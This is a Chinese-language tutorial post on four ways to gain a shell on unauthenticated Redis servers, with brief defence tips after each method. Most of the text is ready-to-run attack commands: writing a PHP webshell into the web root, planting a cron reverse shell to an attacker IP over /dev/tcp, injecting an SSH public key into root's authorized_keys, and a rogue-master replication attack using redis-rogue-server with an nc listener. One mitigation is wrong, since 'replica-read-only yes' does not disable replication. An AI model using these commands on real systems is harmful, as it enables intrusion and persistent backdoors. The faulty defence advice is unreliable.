Redis四种GetShell方式完整教程

发布于:2025-07-29 ⋅ 阅读:(192) ⋅ 点赞:(0)

Redis作为高性能内存数据库,若未正确配置认证和访问控制,可能被攻击者利用实现远程代码执行(GetShell)。本文详细讲解四种常见的Redis GetShell方式,涵盖原理、操作步骤及防御建议。

方式一:直接写入Shell脚本​​

​​原理​​

通过Redis的CONFIG SET命令修改数据库存储路径和文件名,将恶意脚本写入Web目录,利用Web服务解析执行。

​​操作步骤​​

​​1. 环境准备​​
  • 目标Redis服务未授权访问(绑定0.0.0.0:6379且无密码)。
  • 已知目标Web服务路径(如/var/www/html)。
​​2. 连接Redis​​

使用redis-cli连接目标Redis:

redis-cli -h 目标IP -p 6379
​​3. 修改Redis配置​​

通过CONFIG SET命令设置数据库存储路径和文件名:

CONFIG SET dir /var/www/html  # 修改存储路径为Web目录
CONFIG SET dbfilename shell.php  # 设置文件名为shell.php
​​4. 写入恶意脚本​​

使用SET命令写入PHP WebShell内容:

SET shell "<?php system($_GET['cmd']);?>"
​​5. 保存配置​​

执行SAVE命令将数据持久化到磁盘:

SAVE

此时/var/www/html/shell.php文件已生成,可通过浏览器访问http://目标IP/shell.php?cmd=whoami验证。

​​防御建议​​

  • 限制Redis访问IP(bind 127.0.0.1)。
  • 设置强密码(requirepass)。
  • 禁止Redis写入系统关键目录(如/var/www)。

​​方式二:定时任务写入反弹Shell​​

​​原理​​

通过Redis的CONFIG SET修改dir为/var/spool/cron/(Linux定时任务目录),写入反弹Shell的定时任务,触发后连接攻击机。

​​操作步骤​​

​​1. 环境准备​​
  • 目标Redis未授权访问。
  • 目标系统为Linux,且Redis进程有权限写入/var/spool/cron/。
​​2. 连接Redis并修改配置​​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /var/spool/cron/  # 修改存储路径为cron目录
CONFIG SET dbfilename root      # 文件名为root(针对root用户的cron)
​​3. 写入反弹Shell命令​​

反弹Shell到攻击机(假设攻击机IP为192.168.1.100,端口4444):

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

​​注意​​:

  • \n\n用于避免破坏cron文件格式。
  • 定时任务每分钟执行一次,连接攻击机。
​​4. 保存配置​​
SAVE

攻击机监听端口:

nc -lvvp 4444

若连接成功,可执行任意命令(如whoami)。

​​防御建议​​

  • 限制Redis对系统目录的写入权限。
  • 监控/var/spool/cron/目录的异常修改。

​​方式三:写SSH公钥登录服务器​​

​​原理​​

通过Redis写入~/.ssh/authorized_keys文件,将攻击者的SSH公钥添加到目标服务器,实现免密登录。

​​操作步骤​​

​​1. 环境准备​​
  • 目标Redis未授权访问。
  • 目标服务器开启SSH服务且Redis进程有权限写入/root/.ssh/(或当前用户目录)。
​​2. 生成SSH密钥对​​

在攻击机上生成密钥对(若已有可跳过):

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub
​​3. 连接Redis并修改配置​​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /root/.ssh/  # 修改存储路径为.ssh目录
CONFIG SET dbfilename authorized_keys  # 文件名为authorized_keys
​​4. 写入公钥​​

将公钥内容写入Redis(需替换实际公钥):

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻击机公钥内容..."
​​5. 保存配置​​
SAVE

攻击机直接SSH登录目标服务器:

ssh root@目标IP

无需密码即可登录。

​​防御建议​​

  • 限制Redis对/root/.ssh/目录的访问。
  • 禁用Redis的SAVE命令(通过rename-command SAVE "")。

​​方式四:Redis主从复制GetShell​​

​​原理​​

利用Redis主从复制机制,诱骗目标Redis作为从节点,加载攻击者构造的恶意RDB文件,在加载过程中执行任意代码。

​​操作步骤​​

​​1. 环境准备​​
  • 目标Redis未授权访问。
  • 攻击机搭建恶意Redis服务(需编译支持动态模块的Redis版本)。
​​2. 攻击机生成恶意RDB文件​​
  • 使用redis-rogue-server工具(需Python环境)生成包含恶意模块的RDB文件:
    git clone https://github.com/n0b0dyCN/redis-rogue-server.git
    cd redis-rogue-server
    pip3 install -r requirements.txt
    python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP
    工具会自动生成恶意RDB文件并启动监听。
​​3. 配置目标Redis为主从复制​​

在攻击机上执行:

redis-cli -h 目标IP -p 6379
SLAVEOF 攻击机IP 6379  # 将目标Redis设为从节点,连接攻击机
CONFIG SET masterauth ""  # 若主节点有密码需配置(此处无密码)

目标Redis会尝试从攻击机拉取RDB文件并加载,触发恶意代码执行。

​​4. 获取反弹Shell​​

攻击机监听端口(如4444):

nc -lvvp 4444

目标Redis加载恶意模块后,攻击机将收到反弹Shell。

​​防御建议​​

  • 禁用主从复制功能(replica-read-only yes)。
  • 升级Redis至最新版本(修复已知漏洞)。

​​总结与防护措施​​

​​方式​​ ​​关键利用点​​ ​​防御方法​​
直接写入Shell 修改dir和dbfilename 限制写入目录、设置密码、禁用高危命令
定时任务反弹Shell 写入/var/spool/cron/ 监控cron目录、限制Redis权限
SSH公钥登录 写入~/.ssh/authorized_keys 限制.ssh目录访问、禁用Redis写入系统文件
主从复制GetShell 加载恶意RDB文件 禁用主从复制、升级Redis版本

​​通用防护建议​​:

  1. ​​最小化暴露​​:禁止Redis绑定公网IP,使用防火墙限制访问源。
  2. ​​强认证​​:设置复杂密码(requirepass)。
  3. ​​定期审计​​:检查Redis配置和系统关键目录(如/var/www、/root/.ssh/)。
  4. ​​日志监控​​:记录Redis操作日志,设置异常告警。

通过本文的详细分析,读者可深入理解Redis GetShell的原理及防御方法,提升系统安全性。


微信公众号

今日签到

点亮在社区的每一天
去签到